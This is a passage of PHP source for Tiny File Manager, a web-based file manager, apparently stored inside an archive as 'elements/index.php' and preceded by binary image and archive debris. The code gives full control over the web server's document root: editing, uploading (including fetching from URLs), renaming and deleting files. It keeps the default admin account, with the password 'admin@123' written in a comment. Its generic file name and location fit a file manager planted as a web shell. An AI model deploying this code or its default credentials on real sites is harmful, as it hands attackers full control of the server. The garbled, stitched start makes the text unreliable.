9oeiCT9Fr1cL/gmp125aUc4P+B85iX+qJ/la0k/Ze0D0T0j93jXTpv0BYUGhQhdSooYAAAAASUVO RK5CYII=', ); } PKQB\kvelements/index.phpnuW+A 'Password', 'Username2' => 'Password2', ...) // Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html $auth_users = array( 'admin' => '$2y$10$hXMEvL853yVcJ.wCCZtlj.1SloGD.xt9Ux8Kw80xD8ypjG0RgYHWq', //admin@123 ); // Readonly users // e.g. array('users', 'guest', ...) $readonly_users = array( ); // Global readonly, including when auth is not being used $global_readonly = false; // user specific directories // array('Username' => 'Directory path', 'Username2' => 'Directory path', ...) $directories_users = array(); // Enable highlight.js (https://highlightjs.org/) on view's page $use_highlightjs = true; // highlight.js style // for dark theme use 'ir-black' $highlightjs_style = 'vs'; // Enable ace.js (https://ace.c9.io/) on view's page $edit_files = true; // Default timezone for date() and time() // Doc - http://php.net/manual/en/timezones.php $default_timezone = 'Etc/UTC'; // UTC // Root path for file manager // use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder' $root_path = $_SERVER['DOCUMENT_ROOT']; // Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder' // Will not working if $root_path will be outside of server document root $root_url = ''; // Server hostname. Can set manually if wrong // $_SERVER['HTTP_HOST'].'/folder' $http_host = $_SERVER['HTTP_HOST']; // input encoding for iconv $iconv_input_encoding = 'UTF-8'; // date() format for file modification date // Doc - https://www.php.net/manual/en/function.date.php $datetime_format = 'm/d/Y g:i A'; // Path display mode when viewing file information // 'full' => show full path // 'relative' => show path relative to root_path // 'host' => show path on the host $path_display_mode = 'full'; // Allowed file extensions for create and rename files // e.g. 'txt,html,css,js' $allowed_file_extensions = ''; // Allowed file extensions for upload files // e.g. 'gif,png,jpg,html,txt' $allowed_upload_extensions = ''; // Favicon path. This can be either a full url to an .PNG image, or a path based on the document root. // full path, e.g http://example.com/favicon.png // local path, e.g images/icons/favicon.png $favicon_path = ''; // Files and folders to excluded from listing // e.g. array('myfile.html', 'personal-folder', '*.php', ...) $exclude_items = array(); // Online office Docs Viewer // Available rules are 'google', 'microsoft' or false // Google => View documents using Google Docs Viewer // Microsoft => View documents using Microsoft Web Apps Viewer // false => disable online doc viewer $online_viewer = 'google'; // Sticky Nav bar // true => enable sticky header // false => disable sticky header $sticky_navbar = true; // Maximum file upload size // Increase the following values in php.ini to work properly // memory_limit, upload_max_filesize, post_max_size $max_upload_size_bytes = 5000000000; // size 5,000,000,000 bytes (~5GB) // chunk size used for upload // eg. decrease to 1MB if nginx reports problem 413 entity too large $upload_chunk_size_bytes = 2000000; // chunk size 2,000,000 bytes (~2MB) // Possible rules are 'OFF', 'AND' or 'OR' // OFF => Don't check connection IP, defaults to OFF // AND => Connection must be on the whitelist, and not on the blacklist // OR => Connection must be on the whitelist, or not on the blacklist $ip_ruleset = 'OFF'; // Should users be notified of their block? $ip_silent = true; // IP-addresses, both ipv4 and ipv6 $ip_whitelist = array( '127.0.0.1', // local ipv4 '::1' // local ipv6 ); // IP-addresses, both ipv4 and ipv6 $ip_blacklist = array( '0.0.0.0', // non-routable meta ipv4 '::' // non-routable meta ipv6 ); // if User has the external config file, try to use it to override the default config above [config.php] // sample config - https://tinyfilemanager.github.io/config-sample.txt $config_file = __DIR__.'/config.php'; if (is_readable($config_file)) { @include($config_file); } // External CDN resources that can be used in the HTML (replace for GDPR compliance) $external = array( 'css-bootstrap' => '', 'css-dropzone' => '', 'css-font-awesome' => '', 'css-highlightjs' => '', 'js-ace' => '', 'js-bootstrap' => '', 'js-dropzone' => '', 'js-jquery' => '', 'js-jquery-datatables' => '', 'js-highlightjs' => '', 'pre-jsdelivr' => '', 'pre-cloudflare' => '' ); // --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL --- // max upload file size define('MAX_UPLOAD_SIZE', $max_upload_size_bytes); // upload chunk size define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes); // private key and session name to store to the session if ( !defined( 'FM_SESSION_ID')) { define('FM_SESSION_ID', 'filemanager'); } // Configuration $cfg = new FM_Config(); // Default language $lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en'; // Show or hide files and folders that starts with a dot $show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true; // PHP error reporting - false = Turns off Errors, true = Turns on Errors $report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true; // Hide Permissions and Owner cols in file-listing $hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true; // Theme $theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light'; define('FM_THEME', $theme); //available languages $lang_list = array( 'en' => 'English' ); if ($report_errors == true) { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 1); } else { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 0); } // if fm included if (defined('FM_EMBED')) { $use_auth = false; $sticky_navbar = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter('nocache'); // Prevent logout issue after page was cached session_name(FM_SESSION_ID ); function session_error_handling_function($code, $msg, $file, $line) { // Permission denied for default session, try to create a new one if ($code == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler('session_error_handling_function'); session_start(); restore_error_handler(); } //Generating CSRF Token if (empty($_SESSION['token'])) { if (function_exists('random_bytes')) { $_SESSION['token'] = bin2hex(random_bytes(32)); } else { $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32)); } } if (empty($auth_users)) { $use_auth = false; } $is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1) || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https'; // update $root_url based on user specific directories if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) { $wd = fm_clean_path(dirname($_SERVER['PHP_SELF'])); $root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[FM_SESSION_ID]['logged']]; } // clean $root_url $root_url = fm_clean_path($root_url); // abs path for site defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION[FM_SESSION_ID]['logged']); unset( $_SESSION['token']); fm_redirect(FM_SELF_URL); } // Validate connection IP if ($ip_ruleset != 'OFF') { function getClientIP() { if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) { return $_SERVER["HTTP_X_FORWARDED_FOR"]; }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) { return $_SERVER['REMOTE_ADDR']; }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) { return $_SERVER['HTTP_CLIENT_IP']; } return ''; } $clientIp = getClientIP(); $proceed = false; $whitelisted = in_array($clientIp, $ip_whitelist); $blacklisted = in_array($clientIp, $ip_blacklist); if($ip_ruleset == 'AND'){ if($whitelisted == true && $blacklisted == false){ $proceed = true; } } else if($ip_ruleset == 'OR'){ if($whitelisted == true || $blacklisted == false){ $proceed = true; } } if($proceed == false){ trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING); if($ip_silent == false){ fm_set_msg(lng('Access denied. IP restriction applicable'), 'error'); fm_show_header_login(); fm_show_message(); } exit(); } } // Checking if the user is logged in or not. If not, it will show the login form. if ($use_auth) { if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) { // Logged } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) { // Logging In sleep(1); if(function_exists('password_verify')) { if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) && verifyToken($_POST['token'])) { $_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr']; fm_set_msg(lng('You are logged in')); fm_redirect(FM_SELF_URL); } else { unset($_SESSION[FM_SESSION_ID]['logged']); fm_set_msg(lng('Login failed. Invalid username or password'), 'error'); fm_redirect(FM_SELF_URL); } } else { fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');; } } else { // Form unset($_SESSION[FM_SESSION_ID]['logged']); fm_show_header_login(); ?>
    ".lng('Root path')." \"{$root_path}\" ".lng('not found!')." "; exit; } defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files); defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_LANG') || define('FM_LANG', $lang); defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions); defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions); defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items)); defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer); define('FM_READONLY', $global_readonly || ($use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users))); define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\'); // always use ?p= if (!isset($_GET['p']) && empty($_FILES)) { fm_redirect(FM_SELF_URL . '?p='); } // get path $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); // clean path $p = fm_clean_path($p); // for ajax request - save $input = file_get_contents('php://input'); $_POST = (strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST; // instead globals vars define('FM_PATH', $p); define('FM_USE_AUTH', $use_auth); define('FM_EDIT_FILE', $edit_files); defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding); defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs); defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style); defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format); unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); /*************************** ACTIONS ***************************/ // Handle all AJAX Request if ((isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']]) || !FM_USE_AUTH) && isset($_POST['ajax'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { header('HTTP/1.0 401 Unauthorized'); die("Invalid Token."); } //search : get list of files from the current folder if(isset($_POST['type']) && $_POST['type']=="search") { $dir = $_POST['path'] == "." ? '': $_POST['path']; $response = scan(fm_clean_path($dir), $_POST['content']); echo json_encode($response); exit(); } // save editor file if (isset($_POST['type']) && $_POST['type'] == "save") { // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $file = $_GET['edit']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } header('X-XSS-Protection:0'); $file_path = $path . '/' . $file; $writedata = $_POST['content']; $fd = fopen($file_path, "w"); $write_results = @fwrite($fd, $writedata); fclose($fd); if ($write_results === false){ header("HTTP/1.1 500 Internal Server Error"); die("Could Not Write File! - Check Permissions / Ownership"); } die(true); } // backup files if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) { $fileName = fm_clean_path($_POST['file']); $fullPath = FM_ROOT_PATH . '/'; if (!empty($_POST['path'])) { $relativeDirPath = fm_clean_path($_POST['path']); $fullPath .= "{$relativeDirPath}/"; } $date = date("dMy-His"); $newFileName = "{$fileName}-{$date}.bak"; $fullyQualifiedFileName = $fullPath . $fileName; try { if (!file_exists($fullyQualifiedFileName)) { throw new Exception("File {$fileName} not found"); } if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) { echo "Backup {$newFileName} created"; } else { throw new Exception("Could not copy file {$fileName}"); } } catch (Exception $e) { echo $e->getMessage(); } } // Save Config if (isset($_POST['type']) && $_POST['type'] == "settings") { global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme; $newLng = $_POST['js-language']; fm_get_translations([]); if (!array_key_exists($newLng, $lang_list)) { $newLng = 'en'; } $erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false; $shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false; $hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false; $te3 = $_POST['js-theme-3']; if ($cfg->data['lang'] != $newLng) { $cfg->data['lang'] = $newLng; $lang = $newLng; } if ($cfg->data['error_reporting'] != $erp) { $cfg->data['error_reporting'] = $erp; $report_errors = $erp; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['hide_Cols'] != $hco) { $cfg->data['hide_Cols'] = $hco; $hide_Cols = $hco; } if ($cfg->data['theme'] != $te3) { $cfg->data['theme'] = $te3; $theme = $te3; } $cfg->save(); echo true; } // new password hash if (isset($_POST['type']) && $_POST['type'] == "pwdhash") { $res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : ''; echo $res; } //upload using url if(isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } function event_callback ($message) { global $callback; echo json_encode($message); } function get_file_path () { global $path, $fileinfo, $temp_file; return $path."/".basename($fileinfo->name); } $url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null; //prevent 127.* domain and known ports $domain = parse_url($url, PHP_URL_HOST); $port = parse_url($url, PHP_URL_PORT); $knownPorts = [22, 23, 25, 3306]; if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) { $err = array("message" => "URL is not allowed"); event_callback(array("fail" => $err)); exit(); } $use_curl = false; $temp_file = tempnam(sys_get_temp_dir(), "upload-"); $fileinfo = new stdClass(); $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20"); $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; $err = false; if(!$isFileAllowed) { $err = array("message" => "File extension is not allowed"); event_callback(array("fail" => $err)); exit(); } if (!$url) { $success = false; } else if ($use_curl) { @$fp = fopen($temp_file, "w"); @$ch = curl_init($url); curl_setopt($ch, CURLOPT_NOPROGRESS, false ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FILE, $fp); @$success = curl_exec($ch); $curl_info = curl_getinfo($ch); if (!$success) { $err = array("message" => curl_error($ch)); } @curl_close($ch); fclose($fp); $fileinfo->size = $curl_info["size_download"]; $fileinfo->type = $curl_info["content_type"]; } else { $ctx = stream_context_create(); @$success = copy($url, $temp_file, $ctx); if (!$success) { $err = error_get_last(); } } if ($success) { $success = rename($temp_file, strtok(get_file_path(), '?')); } if ($success) { event_callback(array("done" => $fileinfo)); } else { unlink($temp_file); if (!$err) { $err = array("message" => "Invalid url parameter"); } event_callback(array("fail" => $err)); } } exit(); } // Delete file / folder if (isset($_GET['del'], $_POST['token']) && !FM_READONLY) { $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) ); if ($del != '' && $del != '..' && $del != '.' && verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $is_dir = is_dir($path . '/' . $del); if (fm_rdelete($path . '/' . $del)) { $msg = $is_dir ? lng('Folder').' %s '.lng('Deleted') : lng('File').' %s '.lng('Deleted'); fm_set_msg(sprintf($msg, fm_enc($del))); } else { $msg = $is_dir ? lng('Folder').' %s '.lng('not deleted') : lng('File').' %s '.lng('not deleted'); fm_set_msg(sprintf($msg, fm_enc($del)), 'error'); } } else { fm_set_msg(lng('Invalid file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Create a new file/folder if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) && !FM_READONLY) { $type = urldecode($_POST['newfile']); $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) ); if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.' && verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($type == "file") { if (!file_exists($path . '/' . $new)) { if(fm_is_valid_ext($new)) { @fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new); fm_set_msg(sprintf(lng('File').' %s '.lng('Created'), fm_enc($new))); } else { fm_set_msg(lng('File extension is not allowed'), 'error'); } } else { fm_set_msg(sprintf(lng('File').' %s '.lng('already exists'), fm_enc($new)), 'alert'); } } else { if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('Created'), $new)); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('already exists'), fm_enc($new)), 'alert'); } else { fm_set_msg(sprintf(lng('Folder').' %s '.lng('not created'), fm_enc($new)), 'error'); } } } else { fm_set_msg(lng('Invalid characters in file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) { // from $copy = urldecode($_GET['copy']); $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg(lng('Source path not defined'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // abs path from $from = FM_ROOT_PATH . '/' . $copy; // abs path to $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); // move? $move = isset($_GET['move']); $move = fm_clean_path(urldecode($move)); // copy/move/duplicate if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { // Move and to != from so just perform move $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf(lng('Moved from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from))); } elseif ($rename === null) { fm_set_msg(lng('File or folder with this path already exists'), 'alert'); } else { fm_set_msg(sprintf(lng('Error while moving from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from)), 'error'); } } else { // Not move and to != from so copy with original name if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf(lng('Copied from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from))); } else { fm_set_msg(sprintf(lng('Error while copying from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from)), 'error'); } } } else { if (!$move){ //Not move and to = from so duplicate $msg_from = trim(FM_PATH . '/' . basename($from), '/'); $fn_parts = pathinfo($from); $extension_suffix = ''; if(!is_dir($from)){ $extension_suffix = '.'.$fn_parts['extension']; } //Create new name for duplicate $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix; $loop_count = 0; $max_loop = 1000; // Check if a file with the duplicate name already exists, if so, make new name (edge case...) while(file_exists($fn_duplicate) & $loop_count < $max_loop){ $fn_parts = pathinfo($fn_duplicate); $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix; $loop_count++; } if (fm_rcopy($from, $fn_duplicate, False)) { fm_set_msg(sprintf('Copied from %s to %s', fm_enc($copy), fm_enc($fn_duplicate))); } else { fm_set_msg(sprintf('Error while copying from %s to %s', fm_enc($copy), fm_enc($fn_duplicate)), 'error'); } } else{ fm_set_msg(lng('Paths must be not equal'), 'alert'); } } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Mass copy files/ folders if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng('Invalid Token.'), 'error'); } // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg(lng('Paths must be not equal'), 'alert'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { $f = fm_clean_path($f); // abs path from $from = $path . '/' . $f; // abs path to $dest = $copy_to_path . '/' . $f; // do if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Rename if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } // old name $old = urldecode($_POST['rename_from']); $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = urldecode($_POST['rename_to']); $new = fm_clean_path(strip_tags($new)); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if (fm_isvalid_filename($new) && $old != '' && $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf(lng('Renamed from').' %s '. lng('to').' %s', fm_enc($old), fm_enc($new))); } else { fm_set_msg(sprintf(lng('Error while renaming from').' %s '. lng('to').' %s', fm_enc($old), fm_enc($new)), 'error'); } } else { fm_set_msg(lng('Invalid characters in file name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Download if (isset($_GET['dl'], $_POST['token'])) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } $dl = urldecode($_GET['dl']); $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' && is_file($path . '/' . $dl)) { fm_download_file($path . '/' . $dl, $dl, 1024); exit; } else { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // Upload if (!empty($_FILES) && !FM_READONLY) { if(isset($_POST['token'])) { if(!verifyToken($_POST['token'])) { $response = array ('status' => 'error','info' => "Invalid Token."); echo json_encode($response); exit(); } } else { $response = array ('status' => 'error','info' => "Token Missing."); echo json_encode($response); exit(); } $chunkIndex = $_POST['dzchunkindex']; $chunkTotal = $_POST['dztotalchunkcount']; $fullPathInput = fm_clean_path($_REQUEST['fullpath']); $f = $_FILES; $path = FM_ROOT_PATH; $ds = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $response = array ( 'status' => 'error', 'info' => 'Oops! Try again' ); $filename = $f['file']['name']; $tmp_name = $f['file']['tmp_name']; $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : ''; $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; if(!fm_isvalid_filename($filename) && !fm_isvalid_filename($fullPathInput)) { $response = array ( 'status' => 'error', 'info' => "Invalid File name!", ); echo json_encode($response); exit(); } $targetPath = $path . $ds; if ( is_writable($targetPath) ) { $fullPath = $path . '/' . $fullPathInput; $folder = substr($fullPath, 0, strrpos($fullPath, "/")); if (!is_dir($folder)) { $old = umask(0); mkdir($folder, 0777, true); umask($old); } if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) { if ($chunkTotal){ $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab"); if ($out) { $in = @fopen($tmp_name, "rb"); if ($in) { if (PHP_VERSION_ID < 80009) { // workaround https://bugs.php.net/bug.php?id=81145 do { for (;;) { $buff = fread($in, 4096); if ($buff === false || $buff === '') { break; } fwrite($out, $buff); } } while (!feof($in)); } else { stream_copy_to_stream($in, $out); } $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream", 'errorDetails' => error_get_last() ); } @fclose($in); @fclose($out); @unlink($tmp_name); $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream" ); } if ($chunkIndex == $chunkTotal - 1) { if (file_exists ($fullPath)) { $ext_1 = $ext ? '.'.$ext : ''; $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1; } else { $fullPathTarget = $fullPath; } rename("{$fullPath}.part", $fullPathTarget); } } else if (move_uploaded_file($tmp_name, $fullPath)) { // Be sure that the file has been uploaded if ( file_exists($fullPath) ) { $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => 'Couldn\'t upload the requested file.' ); } } else { $response = array ( 'status' => 'error', 'info' => "Error while uploading files. Uploaded files $uploads", ); } } } else { $response = array ( 'status' => 'error', 'info' => 'The specified folder for upload isn\'t writeable.' ); } // Return the response echo json_encode($response); exit(); } // Mass deleting if (isset($_POST['group'], $_POST['delete'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg(lng('Selected files and folder deleted')); } else { fm_set_msg(lng('Error while deleting items'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Pack files zip, tar if (isset($_POST['group'], $_POST['token']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; $ext = 'zip'; if (FM_PATH != '') { $path .= '/' . FM_PATH; } //set pack type $ext = isset($_POST['tar']) ? 'tar' : 'zip'; if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $files = $_POST['file']; $sanitized_files = array(); // clean path foreach($files as $file){ array_push($sanitized_files, fm_clean_path($file)); } $files = $sanitized_files; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext; } else { $zipname = 'archive_' . date('ymd_His') . '.'.$ext; } if($ext == 'zip') { $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); } elseif ($ext == 'tar') { $tar = new FM_Zipper_Tar(); $res = $tar->create($zipname, $files); } if ($res) { fm_set_msg(sprintf(lng('Archive').' %s '.lng('Created'), fm_enc($zipname))); } else { fm_set_msg(lng('Archive not created'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; 